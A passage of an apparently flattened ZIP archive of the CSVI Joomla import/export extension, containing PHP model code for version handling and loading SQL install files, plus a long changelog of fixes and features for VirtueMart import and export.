RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Set the current version in the database * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.1 */ private function _setVersion() { $db = JFactory::getDbo(); $q = "INSERT IGNORE INTO #__csvi_settings (id, params) VALUES (2, '".JText::_('COM_CSVI_CSVI_VERSION')."') ON DUPLICATE KEY UPDATE params = '".JText::_('COM_CSVI_CSVI_VERSION')."'"; $db->setQuery($q); $db->query(); } /** * Get the current version in the database * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.2 */ private function _getVersion() { $db = JFactory::getDbo(); $q = "SELECT params FROM #__csvi_settings WHERE id = 2"; $db->setQuery($q); return $db->loadResult(); } /** * Translate version * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return string with the working version * @since 3.5 */ private function _translateVersion() { $jinput = JFactory::getApplication()->input; $version = $jinput->get('version', 'current', 'string'); switch ($version) { case '4.0.1': case '4.1': case '4.2': return '4.0'; break; default: return $version; break; } } /** * Load supported components * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _loadComponents() { $db = JFactory::getDbo(); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); $files = JFolder::files(JPATH_COMPONENT_ADMINISTRATOR.'/install', '.sql', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'availablefields_extra.sql')); if (!empty($files)) { foreach ($files as $file) { $error = false; if (JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file)) { $q = JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file); $queries = $db->splitSql(JFile::read(JPATH_COMPONENT_ADMINISTRATOR.'/install/'.$file)); foreach ($queries as $query) { $query = trim($query); if (!empty($query)) { $db->setQuery($query); if (!$db->query()) { $this->_results['messages'][] = $db->getErrorMsg(); $error = true; } } } if ($error) $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED', $file); else $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_HAS_BEEN_ADDED', $file); } else $this->_results['messages'][] = JText::sprintf('COM_CSVI_COMPONENT_NOT_FOUND', $file); } } } } ?>PKs>\ ;33com_csvi/models/csvi.phpnuW+APKs>\=> com_csvi/models/templatetype.phpnuW+AloadForm($this->context, 'templatetype', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) return false; return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_csvi.edit.templatetype.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } ?> PKs>\Z00com_csvi/controller.phpnuW+A PKs>\com_csvi/changelog.txtnuW+ACSVI Free Author: RolandD Cyber Produksi (contact@csvimproved.com) Website: http://www.csvimproved.com/ Version: 5.15 Date: 1 december 2013 Status: $Id: changelog.txt 2549 2013-11-26 01:42:51Z RolandD $ Legenda: + Added - Removed * Fixed / Changed Changelog Version 5.12 Import * Fixed available fields not always set / Cleanup some code * Fixed VirtueMart category and manufacturer import options General * Fixed database error on installation About / Changed the Magic Quotes check Version 5.11 General / Changed the installation routine Version 4.5.5 Import * Fixed custom fields not added correctly Export * Fixed the shopper_group_name and shopper_group_name_price fields Version 4.5.4 Import * Fixed price shopper group check on VirtueMart Product import * Fixed images path not taken on VirtueMart Product import * Fixed product slug on VirtueMart Product import * Fixed VM version not available * Fixed manufacturer category import on VirtueMart Manufacturer Category import Version 4.5.3.2 Export * Fixed custom paramater delimiter in VirtueMart Product export Version 4.5.3.1 Import * Fixed missing config helper Version 4.5.3 Import * Fixed a missing table file Version 4.5.2 Import * Fixed fatal error in VirtueMart Product import for shopper groups + Added shopper_group_name_price to VirtueMart Product import * Fixed product discount price missing mathop for VirtueMart Product import * Fixed images in subfolders on VirtueMart Product import * Fixed images in subfolders on VirtueMart Media import * Fixed issues with accented characters in error reporting / Updated newly created manufacturers are assigned a category on VirtueMart Product import * Fixed product_packaging and product_box on VirtueMart Product import Export * Fixed issue with price field exports General / Let cron use hostname from settings * Fixed export template not show source Version 4.5.1 Import * Fixed manufacturer slug being recreated on VirtueMart Product import / Changed custom values separator from | to ~ / Changed system limits only applied if they have a value Export * Fixed export limits + Added front-end download option * Fixed cron export General - Removed option to delete CSVI backup tables (tables are no longer created) + Added Live Update Version 4.5 Import + Added multiple shopper groups for VirtueMart product import * Fixed VirtueMart user info import * Fixed fatal error on VirtueMart manufacturer category details import * Fixed shopper group not stored for product Export * Fixed VirtueMart category export * Fixed front-end export Version 4.4 Import + Added product_discount_id to VirtueMart Product import / Updated override value for VirtueMart Product import * Fixed product_discount on VirtueMart Product import Export / Fixed VirtueMart user info export General / Updated installer Version 4.3 Import - Removed setting manufacturer category to 1 on VirtueMart Product import - Removed automatic setting override option / Fixed wait time not being applied + Added removal of manufacturer images on deletion of VirtueMart manufacturers + Added multi-language support to VirtueMart Category import Export * Fixed min_order_level on VirtueMart Product export * Fixed max_order_level on VirtueMart Product export / Changed VirtueMart Product export to handle VirtueMart core changes in prices / Fixed some possible issues on loading VirtueMart order export page * Fixed possible warning with category_id export General + Added some info about the site to the About dialog / Changed PHP requirement to PHP 5.2 / Fixed replacements being stripped - Removed built-in version check, now using Joomla version check Version 4.2 Import * Fixed product discount with a % sign + Added file_url and file_url_thumb fields to VirtueMart Product export + Added min_order_level and max_order_level to VirtueMart product import + Added product_override_price to be converted to dots * Fixed product currency on VirtueMart product import * Fixed undefined warning on VirtueMart manufacturer import * Fixed stockable child products issue on VirtueMart product import + Added VirtueMart Product import stockable variants + Added support for new VirtueMart customtitle field on categories and products - Removed category_path constraint for child products Export * Fixed category selector on VirtueMart products * Fixed manufacturers selection list + Added file_url and file_url_thumb fields to VirtueMart Product export Version 4.1 Import * Fixed I'm Mac option * Fixed image name generation * Fixed cron not using template override * Fixed prices containing commas * Fixed product discount ID not using -1 * Fixed image handling * Fixed product_discount in VirtueMart product import + Added product_override_price in VirtueMart product import Export * Fixed missing custom field export * Fixed manufacturers selection list Version 4.0.1 Import * Fixed VirtueMart transliteration * Fixed image options * Fixed VirtueMart product import custom fields missing ID field Export * Fixed VirtueMart category details export * Fixed export to e-mail * Fixed VirtueMart media import not linking to products + Added Akeeba subscriptions export options * Fixed VirtueMart calculation rule category export * Fixed VirtueMart rating export publish field * Fixed VirtueMart shopperfield export publish field Replacement / Changed replace field not to be mandatory General + Added always load en-GB as backup language / Changed use of INFORMATON_SCHEMA as shared hosts don't always allow this Version 4.0 General / Major rewrite to work with Joomla 2.5 and VirtueMart 2.0 Version 3.7 Import * Fixed product files import for non-images * Fixed combine separator for categories * Fixed order item import not showing log information + Added Billing address and shipping address options to address_type * Fixed checking uppercase image extension Export * Fixed product type names export * Fixed adding signature gives empty column * Fixed missing producttypenames field on product export Version 3.6 Import * Fixed import not taking template text enclosure + Added setting for processing images * Fixed product type parameters import Export * Fixed logdetails link * Fixed product currency not applied * Fixed price conversion not working * Fixed setting the memory limit + Added product_type_name to product type parameters export General + Added component name to template types Version 3.5 Import + Added reset of child products when parent product gets deleted + Added option to skip non-existing files in the product files import * Fixed child products attributes / Reset counters if import crashed * Fixed product type names import not correctly checking product ID * Fixed session not to be overloaded * Fixed thumbnails not created when create image name from product SKU + Added import overrides (like Joomla template overrides) + Added remember last used template + Added support for VMF * Fixed looking for product currency * Fixed checking for existing multiple price * Fixed producttypenames expecting a comma + Added possibility to add fields not in import file Export * Fixed fieldname not used when column header is empty * Fixed attribute_with_tax field + Added shipping fee table for shopper sites - Removed default value for decimal separator - Removed default value for thousand separator + Added product price filter + Added export overrides (like Joomla template overrides) / Updated Google Base export to handle tax field + Added support for VMF * Fixed price_with_discount being incorrect when using fixed value Maintenance / Changed the loading of available fields + Added option to unpublish published products in unpublished categories + Added option to delete CSVI VirtueMart backup tables General * Fixed configuration settings lost between updates * Fixed filtering with the log details / Changed storing of files in the administrator/cache folder to the tmp folder + Added list of available template types and explanation * Fixed settings being reloaded on every request / Changed cron to work with : instead of . for separation of commands + Added support for Admin Tools secret word Version 3.4.1 Import * Fixed missing available fields Version 3.4 Import / Improved import performance * Fixed import timer when using preview * Fixed product type names import when using product_type_id field + Added ICEcat tolerant matching MPN / Improved image handling Export + Added option to only export parent products and products without children + Added option to only export child products and products without children * Fixed field check not returning correct value * Fixed front-end export + Added category state filter to product export General * Fixed Update button on Available Fields page Version 3.3.1 Import * Fixed jumping around of radio buttons * Fixed related products * Fixed thumbnail import to lose / in http:// Export * Fixed jumping around of radio buttons + Added check for combine field General + Added German language * Fixed hardcoded jos in installation - Removed VirtueMart check Version 3.3 Import * Fixed fatal error Call to undefined method CsviLog::AddStat() + Added timer and progressbar / Improved handling of unknown extensions / Updated cron handling in case of errors * Fixed the manufacturer xref not created when only importing manufacturer_name / Not force the path settings Export / Not force the text enclosure * Fixed sh404SEF URLs on cron export * Fixed category_path not using CDATA Maintenance / Cleaned up sample templates + Added staggered import for ICEcat index file + Added gzip option for ICEcat / Cleaned up functions General * Fixed XML nodes map not being converted Version 3.2.3 Export * Another go at fixing the custom table handling General * Fixed available fields showing wrong fields Version 3.2.2 Import * Fixed custom table not showing on loading template Export * Fixed custom table not showing on loading template * Fixed custom table not showing when only 1 selected General * Fixed Empty Database warnings / Updated ICEcat loading Version 3.2.1 General * Fixed Settings could not be saved Version 3.2 Import / Improved error messaging on import errors * Fixed import failing when using template fields * Fixed import looping when running into maximum execution time limit * Fixed result page when not saving log reports / Updated replacements to be editable after saving Export * Fixed category tree not showing more than 2 levels * Fixed frontend XML/HTML export fatal error / Updated replacements to be editable after saving General + Added Settings reset button * Fixed website not showing on HTML selection + Added _POST variables to cron Version 3.1 Import * Fixed cancel button not going back to import screen + Added tax rates import * Fixed fatal error when uploading a file with .txt extension * Fixed fatal error when importing XML with fieldnames * Fixed 0 values being ignored + Added waiting list import Export / Made replacement feature work more granular * Fixed JoomFish languages not being shown + Added tax rates export + Added waiting list export Maintenance * Fixed logdetails on maintenance result screen + Added more options to load ICEcat indexes * Fixed ICEcat index file not importing General * Fixed toolbar buttons Log page not working / Updated help pages * Fixed custom tables not showing when only 1 selected + Added FlexTax (http://www.virtuemartflextax.com/) support / Updated installer Version 3.0 Import / Changed layout to include all settings + Added replacement option + Added load file from FTP / Changed unsupported fields are now skipped, import will use known fields found / Improved status reporting * Fixed user fields import not adding new user fields / Improved the preview + Added option to import based on SKU, MPN or child SKU + Added product type names to the product import + Added option to change case of image name + Added option to empty image data if image does not exist + Added option to keep original image files + Added option to check thumbnail file type * Fixed memory limit of -1 not set correctly + Added cleanup for prices that use currency + Added ICEcat integration for product import + Added ICEcat integration for product type names import + Added ICEcat integration for product files import + Added custom tables import + Added quick add fields option + Added combining of fields + Added option to load file from URL + Added manufacturer_delete field to allow deleting manufacturers + Added resizing of full images + Added category separator setting Export / Changed layout to include all settings + Added replacement to export template + Added FTP support * Fixed time field on review export * Fixed cdate, mdate and product price on multiple prices export * Fixed coupon_value on coupon export * Fixed shipping_rate_value and shipping_rate_package_fee on shipping rates export * Fixed shopper_group_discount on user info export + Added published filter to category, reviews, product type, product files export / Frontend export shows the URL it was called from in the log + Added combining of fields * Fixed category details export grouping too greedy + Added product name to multiple prices export + Added date and time modifiers to the export filename + Added product type names to product export * Fixed child product URLs on export + Added AceSEF support + Added collect debug support + Added custom tables export + Added option to also select subcategories when only parent categories are selected + Added JoomFish translation + Added quick add fields option + Added sort option + Added header/footer options + Added cutomized XML exports + Added category separator setting / Updated product SKU filter to allow for more SKU's General - Removed replacement view - Removed template view - Removed template fields view + Added automatic log cleanup + Added log settings + Added line limit to debug log settings + Added version check + Added internal help system / Upgraded jQuery to version 1.4.4 / Upgraded jQuery UI to version 1.8.6 + Added log details view with filters + Added create option for missing folders / Updated the complete language file * Fixed missing ; on comments in database backup + Added installer + Added template backup/restore + Added help files Version 2.3.18.1 Import * Fixed Call to undefined method TableCsvivirtuemart_templates::getValue() * Fixed product files import not finding image * Fixed memory check if set to -1 Export - Removed check if any templates are defined * Fixed mail not being sent over SMTP Version 2.3.18 Import * Fixed product price to be emptied when importing as unpublished field * Fixed XLS preview to be moved over 1 column * Fixed memory setting of -1 appplied incorrectly Export * Fixed the encryption key not being read correctly * Fixed product type names export getting confused of duplicate column names + Added product name to multiple prices export + Added AceSEF support + Added export filename customizing with date and time tags * Fixed product price export not being formatted correctly on multiple prices export General / Cleaned up log report by removing duplicate line number Version 2.3.17 Import * Fixed non-image product files + Added remote file check (thanks Phil) Maintenance * Fixed possible undefined error on removing empty categories Version 2.3.16.1 Import * Fixed fatal error when cleaning filename Version 2.3.16 Import + Added custom fields import for product files + Added support for default values for XML import (thanks Phil) * Fixed attribute on a non-record node (thanks Phil) * Fixed fatal error on import when creating image name based on product ID Version 2.3.15.1 Import * Fixed a code error on the product type parameters import * Fixed fields for order item import Version 2.3.15 Import / Change the handling of product_box and product_packaging. They both need to be used. * Fixed handling non-image files in another folder * Fixed mixed case headings on import (thanks Phil) + Added suppression of error messages when resizing images (thanks Phil) * Fixed problems with remote URLs (thanks Phil) * Fixed error messages on cron usage (thanks Phil) * Fixed BOM check + Added support for customer number Export / Updating SEF export + Added full_name and order_status_name to order item export Version 2.3.14 Import * Fixed category details import not handling images * Fixed issue with shopper_group_id Export * Update the cron generator * Fixed product type names export matching wrong tablename * Fixed category_name in product export General / Further improvements in image handling Version 2.3.13 Import * Generated image name gets extension none / Polish up image handling * Fix possible warnings on reading column headers Export + Added export filters to Basic export + Added more price fields to use the price format from the template + Added option to turn of SEF URL generation on export Replacement - Removed automatic adding of / before and after regular expression to support modifiers + Added confirmation on replacement delete General / Update jQuery to version 1.4.2 / Improved domain name parsing + On installation whitelist CSVI VirtueMart with RS Firewall (thanks to the RS Firewall team) Version 2.3.12 Import * Fixed field order for XML files / Rename selectfile to choosefile to prevent false/positive + Added Collect debug information to basic import / Workaround for MySQL bug (http://bugs.mysql.com/bug.php?id=37521) Export + Added filter for exporting featured products + Added support for JoomSEF SEF URLs + Added support for Joomla SEF URLs + Added template system limits to export + Added modification date to export filter for user info export General / Improved writable folder check Version 2.3.11 Import / Improved cron support / Improved order import details * Fixed order items import * Fixed order import / Improved image handling / Improved support for downloadable files * Fixed a download issue with non-image product files * Fixed category image handling Export * Fixed front-end export not showing domainname * Fixed some undefined errors on e-mail export General + Added a log viewer Version 2.3.10 Import + Added products per row from VirtueMart config when creating a category on product import / More work on the product files import * Fixed misaligned columns when using template fields / Changed order import behavior. Orders can now be imported with an order ID. Export + Added signature to cron export generator / Better handling of exporting non-existing product type names General + Added overview of folder permissions * Fixed incorrect fields on sample templates + Added more sample templates (order import, order item import) + Added folder checks in About section Version 2.3.9 Import * Fixed external image on product files import * Fixed XLS file eating first column * Fixed preview using template fields / Changed product_discount to properly handle a value of 0 Export + Added option to add a UTF-8 signature (BOM) on export Version 2.3.8 Import * Fixed product stock import * Fixed product files import * Fixed preview not showing when Import lines set to 0 * Fixed first line not being skipped in preview + Added some runtime statistics to cron import Templates * Fixed pasting of file paths Version 2.3.7 Import * Fixed remote images import / Improved error reporting on preview screen + Added use of template ID for cron import * Fixed XLS import Templates + Added template ID to templates list General + Added another JPEG signature Version 2.3.6 Import * Fixed XLS import * Fixed XML mixed case column headers Export * Fixed price_with_discount sometimes calculate incorrectly General * Fixed an issue with installing sample templates / Minor changes for Joomla 1.6 compatibility + Added update button on the Available Fields button * Fixed Empty categories deleting too many categories Version 2.3.5 Import / More work on the image handling Export * Fixed product type names export not to use replacement Templates + Added confirmation dialog for deleting template + Added existing available fields check for the template fields General / Some changes to the cron handler * Fixed error in case of non-existing template in replacement Version 2.3.4 Import * Fixed broken product type parameters import * Fixed cron import / Always uppercase product currency Export + Added order ID list selection * Fixed category details export to be filled with fieldnames in case field is empty * Fixed user info export General + Added the column Cancelled on log view to see if an import was cancelled + Added filter on the Log view Version 2.3.3 Import * Fixed duplicate data on product files import + Added a number of options for image handling / Improved error handling in preview / Rewrote image handling Export * Fixed a possible error using the regex replacement * Fixed price format and this time it should really be fixed / Updated export result screen / Better handling if no export fields are chosen / Better handling of the basic export + Added general export options to the basic export * Fixed front-end export not creating a unique ID General * Fixed the sample templates Version 2.3.2 Import + Added basic import + Product price can now contain thousand separator e.g. 1,300.25 or 1.300,25 * Fixed product files thumbnail not always having correct name * Fixed using wrong path name on image check Export * Fixed price format + Added basic export * Fixed a number of small issues Templates - Removed replace field as it is superseded by the Replacement section General + Added PHP requirement to installation routine Version 2.3.1 Import * Fixed first line being imported * Fixed products always being unpublished * Fixed preview not always showing * Fixed incorrect column check / Cleaned up import files * Fixed shopper group ID not to update correctly on user info import * Fixed vendor ID not to update correctly on user info import * Fixed maintenance not working via cron (Thanks Erik) Replacement + Added option to clone replacement * Fixed pagination to not load all templates General + Added result counters to Replacement, Available Fields and Templates lists + Added sample templates for user info import/export Version 2.3 Import * Fixed import hang + Added advanced XML import (thanks Phil) * Fixed image resizing not handling uppercase extensions + Added support for mixed case fieldnames (thanks Phil) / Changed product_cdate to always be applied if supplied * Fixed external image URLs not creating thumbnails Replacement * Fixed field name not being stored when adding a new replacement Export * Fixed some fields not being replaced General / Changed defaults for text delimiter to , and text enclosure " Version 2.2.1 Import / Changed first line check to handle text delimiters in strings (thanks Phil) * Fixed missing files for order item export * Fixed skipping a line too many with XLS import Export * Fixed missing files for order item export * Fixed category export not grouping on category_name General / Updated log layout / Updated installer package layout Version 2.2 Import + Added order import + Added order items import + Added support for encrypted user passwords. Use the field password_crypt + Added support for image URLs without image name Export + Added order payment method for order export / Changed handling of price format. Check your templates if you customized it !! * Fixed price quantity start from and price quantity end + Added order items export Maintenance + Added VirtueMart backup * Fixed public_html been given 777 permission General * Fixed log details not always showing up * Fixed SQL error on installation * Fixed deprecated messages - Removed all languages except English due to being too old Version 2.1.3 Export * Fixed manufacturer details export not exporting data / Improved the SEF url export for products / Updated domain name handling using cron * Fixed replacement not working as should for product exports General * Fixed Invalid argument warning on using Clean cache * Fixed Argument #1 is not an array on using Clean cache Version 2.1.2 General * Fixed installer not creating export price format column Version 2.1.1 Import * Fixed skipping first line issue (thanks Phil) + Added timer to check for possible script termination * Fixed import hangs when image is corrupted Export + Added select options for multiple price groups Templates + Added check if website is chosen for XML export + Added option to set price format output - Removed the Column Header field for import templates General * Fixed old logs not deleted (thanks Phil) + Added finer control over the replacement, is now set per field + Added field order when using Quick Add Version 2.1 Import * Fixed attribute_with_tax not handling prices in thousands correctly * Fixed LOCAL_FILE_DOESNT_EXIST on import with preview + Added unlimited import * Fixed product type names import not finding new product IDs / Check for valid image creation on generating thumbnails * Fixed shipping rates import * Fixed product type names import not importing on different case + Added cancel button to import process Export * Really fix the product_url * Fixed user details export + Added order last modified date to selection criteria Templates + Add input filter to template list General / Keep configuration between new installations / Change installation to check if old CSV Improved tables exist / Updated log handling + Added clear cache to maintenance + Added number of preview lines in the settings / Updated Hungarian language * Fixed calendars not working on order options Version 2.0.2 Import + Added option to import zip files (only 1 file per zip for now) * Cleanup after imported file is no longer needed / Expanded debug report * Fixed Fatal error: Class 'CsvimprovedModelAvailablefields' not found on Product Type Parameters import * Fixed product price not set correctly / Changed product_tax behavior to do nothing when field is empty * Fixed numerous issues in the product type name import + Added support for image SEF urls Export / Changed product type parameter names export, can now mix different parameter types * Fixed front-end export not working in subdomain * Fixed Column 'list_order' in field list is ambiguous on order export / Updated the replacement during export General + Added Czech language thanks to Komanche * Fixed Update available fields overwriting other product_type_x tables except last one / Clean up for PHP 5.3 compatibility Version 2.0.1 Import / Fixed delimiters not always set correctly / Fixed category_path mistaken for category_id Export / Fixed product_url missing domain name / Fixed picture_url missing forward slash General + Added product_type_x fields to the list of available fields + Added search filter to available fields page / Fixed sorting on available fields page / Updated French language Version 2.0 Import / Improved shopper group ID check * Fixed product_files_url for downloadable products + Added category browse and flypage to new category creation * Fixed product type names to lose HTML formatting + Added option to store remote images on the server + Added option to auto-generate imagenames based on SKU + Added option to unpublish products before import * Fixed possible crash if template type not found on import + Added option to auto-detect CSV delimiter and enclosure characters * Fixed several issues with product files import + Added category_delete field + Added field attribute_with_tax * Fixed product_discount_id keeps previous value + Added userfields import + Added product reviews import + Added product_files_delete option + Added calculations to product_in_stock field / Improved product manufacturer relation check Export * Fixed attribute export causing undefined error + Added initialisation of big SQL selects + Added replacement feature + Added Google Base channel header + Added e-mail export option * Fixed child products not being exported with category filter * Fixed non-existing product discounts to export as 0.00 + Added option to choose VirtueMart Item ID * Fixed issues with sh404SEF + Added category_name to productexport + Added field attribute_with_tax + Added userfields export + Added product reviews export + Added cron command line generator + Added HTML export format + Added front-end export / Fixed multiple category id export Templates + Added Quick Template Fields General * Fixed cron not using language file * Fixed cron not using domain name + Added replacement table + Added maintenance option to cron support + Added settings screen * Fixed tooltips on import/export screen / A lot of optimizations done to product import + Added option to not store logging + Added global category separator + Added sorting to Available Fields + Added sorting to Templates List / Moved sample templates to maintenance section / Updated German language Version 1.9 Import + Added support for ignoring empty lines thanks to doorknob * More fixing of thumbnail creation + Added message on preview screen to click Import * Fixed template fields import not importing duplicate fields * Fixed category details import to not always look for category_id * Fixed user info import to not handle user_info_id correctly + Added extra signature for JPG files + Added test check for delimiters on import failure Export * Fixed price_with_discount export * Fixed price_with_tax export not to remove too many 0 * Fixed writing to file garbles UTF-8 text * Fixed export results not being shown * Fixed undefined property with custom fields on coupon export * Fixed export with same field names to use only the last + Added condition field to Google Base sample as this is now a required field * Fixed Unknown column 'jos_vm_order_user_info.first_name' in 'field list' * Fixed product type names export to be empty when choosing Don't use Templates + Added template name when editing template + Added option to specify different kind of paths * Fixed field order ID to follow the highest order number General + Added delete all option for log entries + Added support for multiple select boxes to cron + Added another jpeg signature + Added German translation thanks to crissxcross / Updated French translation / Updated Hungarian translation / Updated Brazilian-Portugese translation / Updated Slovenian translation Version 1.8.1 Import * Fixed Fatal error: Call to undefined method TableVm_product::setValue() Export * Fixed export could give error not using product_sku Version 1.8 Import * Fixed external images not being resized * Fixed shopper_group_id ignored on user info import * Fixed shopper_group_name not foud on user info import / Changed product file import to use thumbnail sizes from template setting when not creating thumbnail * Fixed thumbnail creation for subfolders. A resized folder MUST be specified now. * Fixed file_url to be always the same for product files import / Changed import not to stop on error but only report it * Fixed user info import not creating shopper vendor xref * Fixed user info import not to create a name for Joomla user * Fixed product files import causing index.php on file download * Fixed shopper <--> vendor relation for user * Fixed undefined errors on userinfoimport * Fixed product_packaging being reset to 0 * Fixed double / in product_url + Added product stock import * Fixed Not overwrite existing data always return product exists when disabled * Fixed manufacturer details import not working without manufacturer_id * Fixed template fields import not handling "not overwrite existing data" correctly * Added check if category_name matches category_path / Updated memory usage check * Fixed incorrect import when using category_path and category_id in upload file * Fixed product files thumbnail not being put in resized/ folder + Added modal window to show template fields * Fixed undefined error in case of incorrect attribute Export * Fixed undefined error for export filename + Added sh404SEF URLs for product URL export * Fixed missing product_box field + Added modal window to show template fields General + Added Russian translation thanks to progressor / Updated Slovenian translation / Updated French translation / Updated Hungarian translation Version 1.7 Import * Fixed bug where filename loses first character on the product files import * Fixed fatal error when overwrite data is unchecked * Fixed fatal error with ToPeriod function * Fixed product_mdate and product_cdate not being processed * Fixed category list order not being processed + Added Joomla user details to user info import * Fixed XML import not using first entry + Added shipping rates import * Improved product deletion * Fixed manufacturer ID import + Added comma to period conversion on multiple prices import + Added detailed output on column mismatch + Added option to import selected columns / Changed filename handling for product files + Added check for category details import if category_name matches category_path Export + Added payment method to order export * Fixed template export not showing template selection list * Fixed template fields export not showing template selection list * Fixed order export to fail on a number of fields + Remove slashes in vendor name on user info export + Added country name to order export + Added Joomla user details to user info export * Fixed category details export + Added shipping rates export + Added currency conversion on export * Fixed missing product_box Templates + Added option to add currency to price on export Maintenance + Added product files table to emtpy database + Added option to remove empty categories General + Added Portugese translation thanks to dadus + Added Brazilian Portugese translation thanks to Igaeta + Added French translation thanks to ahamel + Added Hungarian translation thanks to dkg11hu * Fixed control panel images and links + Added template name to log view + Added Slovenian translation thanks to VidKo + Added Swedish translation thanks to cpthaddock + Added Dutch translation thanks to djors Version 1.6 Import + Added coupon import / Updated thumbnail creation process to check for sensible thumb sizes * Fixed product files import creating duplicate entries * Fixed product type names import warning if product type does not exist * Fixed vendor_id returning no result Export * Fixed product with discount has no tax + Added stock level values to product export + Added user-interactive user selector + Added user-interactive product selector * Fixed Product Type Names not exporting column headers / Changed product type names export not to force lowercase + Added coupon export * Fixed product files export * Fixed manufacturer details export not working + Added product_files_download to product files export + Added product SKU filter for product export + Added product type name filter * Fixed product_attribute not using CDATA Maintenance + Added confirmation message to database delete + Added option to resize product name field General + Added jQuery for improved GUI + Added Croation language thanks to tatamata Version 1.5.2.1 Export * Fixed category export being ignored + Added multiple category selection Version 1.5.2 Import * Fixed error when only importing manufacturer ID * Fixed incorrect preview / Changed processing of related SKU's to be more efficient Export * Fixed product export when manufacturer is set * Fixed fatal error when mysqli is set as database handler * Fixed vendor_id not exporting * Fixed delimiters not duplicated if they occur in the text / Made group by checkbox checked by default + Added order export option to export shipping address in case it exists + Added category selection to product export Templates + Added filter for import/export templates General * Fixed license check / Updated folder layout Version 1.5.1 Import * Fixed manufacturer not assigned to first product if manufacturer doesn't exist / Changed handling of auto creating thumbnails + Added auto creating thumbnails for category details import + Added some performance tweaks / Changed import routine to stop immediately when timeout has been reached / Changed product type names import to only update the parameters specified in uploaded file Export * Fixed incorrect flypage as VirtueMart config is ignored * Fixed group by not ignoring a few custom fields + Added option to set date format on export templates General * Fixed cron not logging out user / Changed informational messages to be no longer classified as success * Fixed some undefined errors in the logging * Fixed version number not always showing on about page Version 1.5 Stable Import / Updated product type parameters / Changed applying system limits only if value is greater than 0 * Fixed template import * Fixed template fields import + Added template_name field to template fields import - Removed converting HTML entities to real characters on product description / Update thumbnail creation check * Fixed undefined errors when database structure is bad Export + Added tab delimiter * Fixed missing price_with_discount field * Fixed template export not showing all templates * Fixed template export in XML format no CDATA tag on cusom field value + Added template_name field to template fields import + Added disable Export button if no templates with fields are found / Fixed handling of templates with 0 fields in case the export gets called / Fixed file export to disk not UTF-8 / Fixed Beslist.nl XML export to not include linebreaks for elements / Fixed errors showing up when no records are found to export * Fixed undefined errors when database structure is bad General / Updated license check / Updated installer to check if database can be read / Updated images Version 1.5 RC 2 Import + Added default currency read from VirtueMart on Multiple Prices import / Fixed shopper groups ignored on Multiple Prices import + Added attributes tag to Product Import + Added product_sku tag to Multiple Prices import + Added shopper_group_name tag to Multiple Prices import * Fixed products per row not working on category details import - Removed UTF-8 conversion as it does more bad than good + Added first manufacturer is assigned to product when importing new products without manufacturer Export * Fixed filtering on address did not work for order and user info export / Changed loading of usernames to not load if there are more than 5000 users + Added disable export templates without fields + Added attributes tag to Product Export + Added product_sku tag to Multiple Prices export + Added shopper_group_name tag to Multiple Prices export / Fixed cron ignoring filepath set in general settings * Fixed product type names export Templates + Added missing text for non-existing images General * Fixed unclosed quotes in installation script * Moved requirements checks to beginning of script + Added memory limits to sample templates + Added removal of images folder on un-installation as Joomla doesn't clean up / Updated install XML DTD / Changed license check - Removed CURL requirement / Replaced license check on external server with license key Version 1.5 RC 1 Import * Fixed tax not associated with product + Added preview column to import selection screen + Added shopper details to user info import * Fixed undefined errors in cron * Fixed undefined errors on result page * Fixed a bug in thumbnail creation where file is not found Export * Fixed undefined error on export result screen / Moved record grouping from order export to general settings + Added user address filter to user info export + Added user vendor filter to user info export + Added user permission filter to user info export + Added custom field to user info export + Added full_name field to user info export (combines first, middle and last name) + Added full_name field to order export (combines first, middle and last name) + Added discount_percentage field to order export (order_discount/order_total) + Added product_price_total field to order export (product_price*product_quantity) + Added total_order_items field to order export (counts number of items per order) + Added shopper details to user info export * Fixed undefined errors in cron * Fixed undefined errors on result page Templates + Added auto increment value when adding template fields / Changed field size of column headers to give more space Maintenance * Fixed not deleting product type names tables > 9 General + Added links to the available fields online help pages * Fixed pagination on available fields page + Added server address to About page / Updated license check for working locally Version 1.5 beta 5 Import / Updated available fields for product import + Added changing product_weight commas to periods + Added changing product_length commas to periods + Added changing product_width commas to periods + Added changing product_height commas to periods - Removed category details from product import Export / Updated available fields for product export * Fixed filename incorrect when downloading file + Added product type export + Added product type parameters export + Added product type names export + Added currency filter to order export / Changed some order export options to multiple select - Removed category details from product export Templates * Fixed file location having mixed path separators Version 1.5 beta 4 Import * Fixed category_id not processed Export * Fixed file location not used when exporting to local file based on template + Added log entry when SQL query is incorrect * Fixed product_parent_sku missing * Fixed local file not saving in the correct folder + Added option to group records together on order export + Added option to select address type on order export * Fixed missing product_sku, product_name on order export Templates * Fixed error message if no templates are created General * Fix icons not showing if installed in subfolder Version 1.5 beta 3.0.1 General / Updated license check * Fixed license expire date incorrectly shown Version 1.5 beta 3 Import * Fixed categories not added correctly + Added product_list Export * Fixed product_name export / Changed product_url to be enclosed in CDATA tags for XML exports * Fixed custom field not handled in product export Templates * Fixed typo in Google Base template * Fixed template list not always showing General / Completely revised language file Version 1.5 beta 2.2 Import * Fixed manufacturer_name not being imported * Fixed tax rate not being imported Export * Fixed category_name Category Details export * Fixed category_path misssing from Category Details export Templates + Added default system values for System Limits General * Fixed error messages when no logs exist Version 1.5 beta 2.1 Import + Added check and warning if no templates exist + Added a default selected template Export + Added check and warning if no templates exist + Added a default selected template * Fixed missing category_path on product export * Fixed missing number of fields General + Added Romanian thanks to Danny Version 1.5 beta 2 Import + Added option to append categories / Fixed bug where multiple categories per product were not imported Export + Added order export by sold product Templates / Fixed wrong save button Version 1.5 beta 1.3 General / Moved the creation of the log object to the parts that use it Version 1.5 beta 1.2 General / Updated license check / Update 